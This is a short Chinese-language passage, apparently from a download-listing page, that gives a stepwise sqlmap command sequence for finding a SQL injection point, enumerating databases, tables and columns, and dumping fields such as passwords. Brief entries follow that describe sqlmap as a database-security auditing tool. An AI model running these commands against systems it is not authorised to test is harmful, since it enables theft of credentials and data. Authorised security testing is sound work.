注入步骤：
检查注入点
sqlmap -u http://url
列数据库信息
sqlmap -u http://url --dbs
指定库名列出所有表
sqlmap -u http://url -D dbname --tables
指定库名表名列出所有字段
sqlmap -u http://url -D dbname -T tablename --columns
指定库名表名字段dump出指定字段
sqlmap -u http://url -D dbname -T tablename -C ac,id,password --dump
2021-08-12 01:34:49
10.75MB
1
这是一个审计数据库安全的SQL注入工具的使用指南，
该工具在windows平台与linux平台下均可以使用。数据库管理员（DBA）可用它来检
验自己的数据库是否存在安全配置方面的漏洞。
2021-08-06 18:25:19
234KB
1
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
2021-07-15 17:22:34
9.93MB
1
介绍了sqlmap几种注入方式
博客地址：
http://blog.csdn.net/think_ycx/article/details/51453855
2021-07-05 23:52:35
17KB
1